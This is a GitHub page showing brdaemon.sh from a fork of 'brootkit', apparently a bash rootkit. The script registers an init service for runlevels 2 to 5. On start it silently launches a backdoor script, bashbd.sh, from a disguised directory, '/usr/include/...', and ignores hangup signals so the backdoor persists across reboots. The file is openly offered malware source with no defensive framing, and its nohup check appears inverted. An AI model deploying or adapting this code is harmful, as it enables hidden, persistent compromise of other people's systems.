forked from cloudsec/brootkit
-
Notifications
You must be signed in to change notification settings - Fork 1
Expand file tree
/
Copy pathbrdaemon.sh
More file actions
executable file
·39 lines (35 loc) · 795 Bytes
/
brdaemon.sh
File metadata and controls
executable file
·39 lines (35 loc) · 795 Bytes
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
#!/bin/bash
### BEGIN INIT INFO
# Provides: brdaemon
# Required-Start:
# Required-Stop:
# Default-Start: 2 3 4 5
# Default-Stop:
# Short-Description: Execute the brdaemon command.
# Description:
### END INIT INFO
BR_ROOTKIT_PATH="/usr/include/..."
function br_hookhup()
{
:
}
function br_daemon()
{
if ! type nohup >/dev/null; then
nohup $BR_ROOTKIT_PATH/bashbd.sh > /dev/null 2>&1
[ $? -eq 1 ] && exit
else
trap br_hookhup SIGHUP
$BR_ROOTKIT_PATH/bashbd.sh > /dev/null 2>&1 &
[ $? -eq 1 ] && exit
fi
}
case "$1" in
"start")
br_daemon
;;
"stop"|"restart"|"reload")
;;
*)
;;
esac